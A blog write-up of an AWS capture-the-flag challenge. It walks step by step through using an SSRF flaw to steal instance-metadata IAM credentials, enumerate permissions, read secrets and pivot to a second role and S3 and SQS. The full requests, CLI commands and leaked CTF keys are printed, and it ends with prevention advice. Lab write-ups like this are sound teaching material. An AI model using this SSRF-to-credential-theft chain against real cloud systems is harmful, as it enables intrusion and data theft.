Aloïs

April 16, 2021

AWS Capture the Flag Write-Up

Last week I took part in "[REDACTED] first-ever AWS Capture the Flag" and since the challenge is not online anymore I thought I would write how I solved it.

When you open the target you see a website that let you check if your website is down by entering the URL into the form. If the website is up (the response status code is 200) you will be able to see the content of the response.

Screenshot 2021-04-07 at 22.56.12.png

If you looked into the response you could see that the response was base64 encoded and then decoded client side.

Server Side Request Forgery


Here we have a prime candidate for a nice Server Side Request Forgery (SSRF) since we can induce the server-side application to make HTTP requests to an arbitrary domain.

I am saying nice since in this case we can not only specify an arbitrary URL but we can also get the response which in the context of AWS can lead to some serious vulnerabilities when it is used to retrieve sensitive information from the instance metadata service (IMDS).

The IMDS is used to provide access to temporary, frequently rotated credentials, removing the need to hardcode or distribute sensitive credentials to instances manually or programatically. Attached locally to every EC2 instance, the IMDS runs on a special “link local” IP address of 169.254.169.254 that means only software running on the instance can access it. For applications with access to IMDS, it makes available metadata about the instance, its network, and its storage. The IMDS also makes the AWS credentials available for any IAM role that is attached to the instance.

Usually the easiest way to retrieve the instance metadata is using curl:

[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/

When we try to query the metadata endpoint using the application form we do get a response and there are some credentials associated with a role named SSRFChallengeOneRole !

Request:

GET /api/check_webpage?addr=http://169.254.169.254/latest/meta-data/iam/security-credentials/SSRFChallengeOneRole HTTP/1.1
Host: 0aecbc1985d3e4ff8e68488166f251f6a0c6f7d0.aws.redacted.com

Response:

HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 17:49:40 GMT
Content-Type: application/json
Content-Length: 1773
Connection: close
Server: nginx/1.18.0

{"page":"ew[...]n0=","status":200}

Decoding the date we get this:

{
  "Code" : "Success",
  "LastUpdated" : "2021-04-07T16:51:34Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIASCLNOVA3REDGU2U4",
  "SecretAccessKey" : "ZcbJr4BAk3N2BOPkT8YL4PRR+G6OCmj5DlXgY8hj",
  "Token" : "IQoJ[...]9A==",
  "Expiration" : "2021-04-07T22:59:03Z"
}

Enumerating IAM permissions


The problem now is that we do not know what are the permissions associated with this role and we probably do not have the permissions to check the permissions we have :)

One way to figure out what the permissions linked to the role, is to try everything and see what works. There are a couple of projects on GitHub that are helpful to enumerate IAM permissions.

The first one is Pacu by @rhinosecurity. If you are interested in AWS Security I highly suggest you check their blog.

Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more.

Let's use the docker version:

docker run -it rhinosecuritylabs/pacu:latest

Once inside the container you can set the keys using set_keys:

Pacu (aws-ctf:No Keys Set) > set_keys
Setting AWS Keys...
Press enter to keep the value currently stored.
Enter the letter C to clear the value, rather than set it.
If you enter an existing key_alias, that key's fields will be updated instead of added.

Key alias [None]: aws-ctf
Access key ID [None]: ASIASCLNOVA3REDGU2U4
Secret access key [None]: ZcbJr4BAk3N2BOPkT8YL4PRR+G6OCmj5DlXgY8hj
Session token (Optional - for temp AWS keys only) [None]: IQo[...]9A==

Keys saved to database.

You can now use the iam__bruteforce_permissions module:

Pacu (aws-ctf:aws-ctf) > run iam__bruteforce_permissions

During the CTF I encountered a bug (#241) so I had to use another tool but hopefully next time this will be fixed since there is already a pull request.

The second tool I used to enumerate IAM permissions is enumerate-iam:

python enumerate-iam.py --access-key ASIASCLNOVA3REDGU2U4 --secret-key Zcb...
2021-04-07 19:50:21,971 - 80851 - [INFO] Starting permission enumeration for access-key-id "ASIASCLNOVA3REDGU2U4"
2021-04-07 19:50:23,180 - 80851 - [INFO] -- Account ARN : arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-04686b0f980508e8e
2021-04-07 19:50:23,180 - 80851 - [INFO] -- Account Id  : 142500341815
2021-04-07 19:50:23,180 - 80851 - [INFO] -- Account Path: assumed-role/SSRFChallengeOneRole/i-04686b0f980508e8e
2021-04-07 19:50:24,349 - 80851 - [INFO] Attempting common-service describe / list brute force.
2021-04-07 19:50:24,853 - 80851 - [ERROR] Remove ec2.describe_replace_root_volume_tasks action
2021-04-07 19:50:25,169 - 80851 - [ERROR] Remove greengrass.list_deployments action
[...]

Here again I also ran into an issue but I had sufficient information to keep going:

[INFO] -- dynamodb.describe_endpoints() worked!
[INFO] -- ec2.describe_instances() worked!
[INFO] -- secretsmanager.list_secrets() worked!
[INFO] -- sts.get_caller_identity() worked!

Lateral movements


To interract with AWS I am either using the AWS CLI or aws-shell, you will also probably need to check the AWS CLI Command Reference.

Let's try the first one:

aws dynamodb describe-endpoints --profile aws-ctf

You must specify a region. You can also configure your region by running "aws configure".

Let's check the DNS to get the region:

dig 0aecbc1985d3e4ff8e68488166f251f6a0c6f7d0.aws.h1ctf.com +short
52.27.147.186
52.24.170.134

Let's get the some info about the first IP:

http get https://ipinfo.io/52.27.147.186 -b
{
    "city": "Boardman",
    "country": "US",
    "hostname": "ec2-52-27-147-186.us-west-2.compute.amazonaws.com",
    "ip": "52.27.147.186",
    "loc": "45.8399,-119.7006",
    "org": "AS16509 Amazon.com, Inc.",
    "postal": "97818",
    "readme": "https://ipinfo.io/missingauth",
    "region": "Oregon",
    "timezone": "America/Los_Angeles"
}

Looks like the region that is being used is us-west-2.

aws dynamodb describe-endpoints --profile aws-ctf --region us-west-2
{
    "Endpoints": [
        {
            "Address": "dynamodb.us-west-2.amazonaws.com",
            "CachePeriodInMinutes": 1440
        }
    ]
}

That's not really useful information I should have checked the doc before, since this only returns the regional endpoint information for DynamoDB. At least now we know the region :)

The next one should be more interesting since it describes the specified instances or all instances running in the AWS environment:

aws ec2 describe-instances --profile aws-ctf --region us-west-2 --query 'Reservations[*].Instances[*].{Instance:InstanceId,InstanceType:InstanceType,Instance:IamInstanceProfile}'
[
    [
        {
            "Instance": {
                "Arn": "arn:aws:iam::142500341815:instance-profile/InfraStack-SSRFChallengeTwoNestedStackSSRFChallengeTwoNestedStackR-SSRFChallengeTwoInstanceInstanceProfile95F54F34-1VOOCFANXBB4P",
                "Id": "AIPASCLNOVA3X6KJD3JTV"
            },
            "InstanceType": "c4.xlarge"
        }
    ],
    [
        {
            "Instance": {
                "Arn": "arn:aws:iam::142500341815:instance-profile/InfraStack-SSRFChallengeOneNestedStackSSRFChallengeOneNestedStackR-SSRFChallengeOneInstanceInstanceProfileF3F179B1-OGKH7H21OH4O",
                "Id": "AIPASCLNOVA3QGIHW54D4"
            },
            "InstanceType": "c5.xlarge"
        }
    ],
    [
        {
            "Instance": {
                "Arn": "arn:aws:iam::142500341815:instance-profile/InfraStack-SSRFChallengeOneNestedStackSSRFChallengeOneNestedStackR-SSRFChallengeOneInstanceInstanceProfileF3F179B1-OGKH7H21OH4O",
                "Id": "AIPASCLNOVA3QGIHW54D4"
            },
            "InstanceType": "c5.xlarge"
        }
    ],
    [
        {
            "Instance": {
                "Arn": "arn:aws:iam::142500341815:instance-profile/InfraStack-SSRFChallengeOneNestedStackSSRFChallengeOneNestedStackR-SSRFChallengeOneInstanceInstanceProfileF3F179B1-OGKH7H21OH4O",
                "Id": "AIPASCLNOVA3QGIHW54D4"
            },
            "InstanceType": "c5.xlarge"
        }
    ]
]

So at the time there were 3 instances referencing SSRFChallengeOne and 1 instance referencing SSRFChallengeTwo.

Let's check the secrets:

aws secretsmanager list-secrets --profile aws-ctf --region us-west-2
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:redacted_flag_secret_secondary-w8H93H",
            "Name": "redacted_flag_secret_secondary",
            "Description": "The second of two secrets used in deriving REDACTED SSRF challenge flags.", [...]
        },
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:redacted_flag_secret_main-UQPCee",
            "Name": "redacted_flag_secret_main",
            "Description": "The first of two secrets used in deriving REDACTED SSRF challenge flags.", [...]
        },
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:web_service_health_api_key-u54cKi",
            "Name": "web_service_health_api_key",
            "Description": "Used to interact with the Web Service Health Monitor", [...]
        }
    ]
}

Let's see if we can get the secrets:

aws secretsmanager get-secret-value --secret-id redacted_flag_secret_main --version-stage AWSCURRENT --region us-west-2 --profile aws-ctf

An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-06b09a4c7cdd33156 is not authorized to perform: secretsmanager:GetSecretValue on resource: redacted_flag_secret_main

aws secretsmanager get-secret-value --secret-id redacted_flag_secret_secondary --version-stage AWSCURRENT --region us-west-2 --profile aws-ctf

An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-06b09a4c7cdd33156 is not authorized to perform: secretsmanager:GetSecretValue on resource: redacted_flag_secret_secondary

aws secretsmanager get-secret-value --secret-id web_service_health_api_key --version-stage AWSCURRENT --region us-west-2 --profile aws-ctf
{
    "ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:web_service_health_api_key-u54cKi",
    "Name": "web_service_health_api_key",
    "VersionId": "a69ba9fd-684f-4587-b25f-1e8562c6d687",
    "SecretString": "hXjYspOr406dn93uKGmsCodNJg3c2oQM",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2021-03-17T15:03:17.443000+01:00"
}

Only the last secret could be read which mention a "Web Service Health Monitor" but where could be this API ?

Let's see if we can reach the the instances in the AWS environment (here I am filtering to only see the private IPs since I was pretty sure that this was were the next step would be:

aws ec2 describe-instances --profile aws-ctf --region us-west-2 --query 'Reservations[*].Instances[*].{NetworkInterfaces:PrivateDnsName}'

"NetworkInterfaces": "ip-10-0-0-55.us-west-2.compute.internal"            "NetworkInterfaces": "ip-10-0-0-10.us-west-2.compute.internal"            "NetworkInterfaces": "ip-10-0-0-12.us-west-2.compute.internal"            "NetworkInterfaces": "ip-10-0-0-11.us-west-2.compute.internal"

Now that we have the IP we can use the SSRF see if something is listening:

GET /api/check_webpage?addr=http://10.0.0.55/ HTTP/1.1
Host: 0aecbc1985d3e4ff8e68488166f251f6a0c6f7d0.aws.h1ctf.com

Response:

HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 18:59:00 GMT
Content-Type: application/json
Content-Length: 93
Connection: keep-alive
Server: nginx/1.18.0

{"page":"TWlzc2luZyBhcGlfa2V5IHBhcmFtZXRlci4gU2VlIEFXUyBTZWNyZXRzTWFuYWdlci4=","status":401}

When we decode the base64:

Missing api_key parameter. See AWS SecretsManager.

The others are returning:

Incorrect challenge subdomain.

Since we already have the API key we only have to the parameter. After the second try:

GET /api/check_webpage?addr=http://10.0.0.55/?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM HTTP/1.1
Host: 0aecbc1985d3e4ff8e68488166f251f6a0c6f7d0.aws.h1ctf.com

Response:

HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 19:02:15 GMT
Content-Type: application/json
Content-Length: 685
Connection: keep-alive
Server: nginx/1.18.0

{"page":"PC[...]Ww+","status":200}

This time when we decode the response we get an HTML page:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>SERVICE HEALTH MONITOR</title>
    <style>
        .ok {
            color: green;
        }
        .err {
            color: red;
        }
    </style>
    <script>api_key = "hXjYspOr406dn93uKGmsCodNJg3c2oQM";</script>
</head>
<body>
    <h1>MACHINE STATUS</h1>
    <table id="status_table">
        <tr>
            <th>ADDR</th>
            <th>STATUS</th>
        </tr>
    </table>
</body>
<script src="/static/main.js"></script>
</html>

Let's check the JavaScript hosted at http://10.0.0.55/static/main.js

function fetch_machines() {
    return authenticated_fetch(`/api/get_machines`);
}

function fetch_system_status(addr) {
    return authenticated_fetch(`/api/get_status?addr=${addr}`);
}

function authenticated_fetch(addr) {
    let separator = addr.includes("?") ? "&" : "?";
    return fetch(`${addr}${separator}api_key=${api_key}`);
}
fetch_machines().then((result) => result.json()).then((machine_addrs) => {
    machine_addrs.forEach((addr) => {
        fetch_system_status(addr).then((result) => result.json()).then((data) => {
            let status_table = document.getElementById("status_table");
            let status_row = document.createElement("tr");
            let machine_addr = document.createElement("td");
            machine_addr.textContent = addr;
            let machine_status = document.createElement("td");
            machine_status.textContent = data["success"] ? "OK" : "UNREACHABLE";
            machine_status.className = data["success"] ? "ok" : "err";
            status_row.appendChild(machine_addr);
            status_row.appendChild(machine_status);
            status_table.appendChild(status_row);
        })
    });
});

Using the SSRF again let's check the different endpoints:

  • /api/get_machines
  • /api/get_status?addr=

The first one (get_machines) returned a 500 error but the second one worked and is also vulnerable to server side request forgery which means that we can get the IAM role and credentials:

{"data":"SSRFChallengeTwoRole","success":true}

With this second role we can get the secret redacted_flag_secret_secondary (which is not used afterwards):

aws secretsmanager get-secret-value --secret-id redacted_flag_secret_secondary --version-stage AWSCURRENT --region us-west-2 --profile aws-ctf-2
[...]
"SecretString": "O6cd8Q91vFc00xUVSoUYORTVMGddo8y3",

Let's run enumerate-iam.py to see if we have more premissions:

2021-04-07 22:10:13,287 - 91353 - [INFO] -- s3.list_buckets() worked!

We can see several buckets:

aws s3 ls --profile aws-ctf-2
2021-04-06 18:56:16 awsctfelblogs
2021-04-07 06:53:14 awsctfelbqueryresults
2021-03-17 15:04:25 redacted-dev-notes
2021-03-17 15:03:18 redacted-flag-files
2021-03-16 21:22:01 redactedctfloadbalancerlogs

We can only list the content of redacted-dev-notes

aws s3 ls --profile aws-ctf-2 redacted-dev-notes
2021-03-17 15:05:46        731 README.md

Let's clone the bucket locally:

aws s3 sync s3://redacted-dev-notes . --profile aws-ctf-2

The content of the README is pretty explicit:

# Flag Generation
This document outlines the steps required to generate a flag file.

## Steps
1. Fetch your `hid` and `fid` values from the  `/api/_internal/87tbv6rg6hojn9n7h9t/get_hid` endpoint.
2. Send a message to the SQS queue `flag_file_generator` with the following format
    ```json
    {"fid": "<fid>", "hid": "<hid>"}
    ```
    where `<fid>` and `<hid>` are the values you received in step 1.
3. Get the `<fid>.flag` file from the `flag-files` (name may be slightly different) S3 bucket.

## Tips

If you've never worked with SQS (Simple Queue Service) before then the [following link](https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html)
may be helpful in sending messages from the aws cli tool.

Let's retrieve the fid and hid values:

GET /api/check_webpage?addr=<@urlencode>http://10.0.0.55/api/_internal/87tbv6rg6hojn9n7h9t/get_hid?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM<@/urlencode>

Response:

{"fid":"5e9cfba7-a0bd-4d5d-974e-b590190a0460","hid":"70ddcc5b08857ba36b8de5db59edfd374229fe14"}

Now that we have the fid and hid value we need to send a message to the SQS queue but first we need to know the queue URL:

aws sqs get-queue-url --queue-name flag_file_generator --profile aws-ctf-2 --region us-west-2
{
    "QueueUrl": "https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator"
}

With the queue URL we have all the information needed to send the message:

aws sqs send-message --profile aws-ctf-2 --queue-url https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator --message-body "{"fid": "5e9cfba7-a0bd-4d5d-974e-b590190a0460", "hid": "70ddcc5b08857ba36b8de5db59edfd374229fe14"}" --region us-west-2
{
    "MD5OfMessageBody": "e2c1a4971d4a2ab2cc1da7c5a3724e5a",
    "MessageId": "ecf17d4d-5979-4592-a3cf-d0fd482dbe1b"
}

Note: MD5OfMessageBody is an MD5 hash of the message body that we sent, this will be helful later ;)

If we did everything correctly then the flag should be placed in the redacted-flag-files bucket and readable:

aws s3 cp s3://redacted-flag-files/5e9cfba7-a0bd-4d5d-974e-b590190a0460.flag . --profile aws-ctf-2
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

😞 At this point I was wondering if I skipped something such as needing to access the last secret first or using the second secret. Just to be sure I decided to check the MD5OfMessageBody and it turns out that:

md5('{"fid": "5e9cfba7-a0bd-4d5d-974e-b590190a0460", "hid": "70ddcc5b08857ba36b8de5db59edfd374229fe14"}') = 7e2d3855d3c623600c722e317234fb0e

Yep, I fucked up the command to send the message... 

aws sqs send-message --profile aws-ctf-2 --queue-url https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator --message-body '{"fid": "5e9cfba7-a0bd-4d5d-974e-b590190a0460", "hid": "70ddcc5b08857ba36b8de5db59edfd374229fe14"}' --region us-west-2
{
    "MD5OfMessageBody": "3c75bdfe2a522ac6012187d4f49863ea",
    "MessageId": "41f975ca-7789-47e5-a994-4e702f853a7e"
}

Once fixed there was a flag in the bucket !

aws s3 cp s3://redacted-flag-files/5e9cfba7-a0bd-4d5d-974e-b590190a0460.flag . --profile aws-ctf-2
download: s3://redacted-flag-files/5e9cfba7-a0bd-4d5d-974e-b590190a0460.flag to ./5e9cfba7-a0bd-4d5d-974e-b590190a0460.flag

cat 5e9cfba7-a0bd-4d5d-974e-b590190a0460.flag
7863bd2a970f92cbd5ca27c0ed354bf22c6343e9

How to prevent this kind of issues ?


The OWASP has a great cheatsheet on how to prevent SSRF. The TLDR is that, in case the application should be able to send requests to ANY external IP address or domain name, then filtering URLs at the application level is pretty hard since bypass are legion and it is easy to leave an edge case.

My recommendation would be to isolate such services so that they don't risk being used against other services and make sure to use IMDSv2 so that every request is protected by session authentication.

I would also recommend using AWS GuardDuty since exploiting this vulnerability would have triggered multiple alarms:


Conclusion

This was a nice CTF challenge, thanks @d0nutptr !

If you are interested in learning more about AWS Security I suggest you read: The Extended AWS Security Ramp-Up Guide.

Liked what you read ? Don't forget to subscribe and follow, I'm @TechbrunchFR on Twitter.